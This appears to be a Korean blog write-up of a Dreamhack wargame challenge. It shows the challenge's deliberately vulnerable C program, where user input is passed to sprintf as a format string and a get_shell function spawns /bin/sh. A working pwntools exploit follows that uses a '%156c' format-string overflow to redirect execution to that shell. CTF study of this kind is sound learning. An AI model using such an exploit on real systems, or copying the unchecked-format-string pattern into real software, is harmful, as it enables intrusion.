
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
환경 및 보호 기법 분석


핵심 취약점 식별

https://taemin01.tistory.com/141
입출력 시스템 (리눅스 , 윈도우 , c표준 입출력 , 메모리 버퍼기반)+보안관점
입출력 함수 체계 개요 1.리눅스 시스템 콜 (저수준 I/O) 2. 윈도우 API 3. 표준 C 라이브러리 (고수준 I/O) -> scanf 보안 취약점 정리 https://taemin01.tistory.com/142 scanf의 보안 취약점scanf 함수의 정의 및 동
taemin01.tistory.com
공격 설계 및 페이로드 구성

디버깅 -gdb
하지만 실제로 gdb를 통해 stack_buf의 크기를 확인했을때는 값이 조금 달랐음. disass main을 통해 main 함수의 어셈블리 코드를 실제로 분석해보자.








Exploit code
from pwn import *
#p = process('./basic_exploitation_003') # 대상 바이너리 실행
p = remote('host8.dreamhack.games',11534)
# 1. RET 오프셋: stack_buf(144) + SFP(4) = 148
# 2. get_shell 주소: 0x08048669
payload = b"%156c"
payload += p32(0x08048669)
p.send(payload) # 페이로드 전송
p.sendline(b'cat flag')
p.interactive() # 쉘 획득 후 상호작용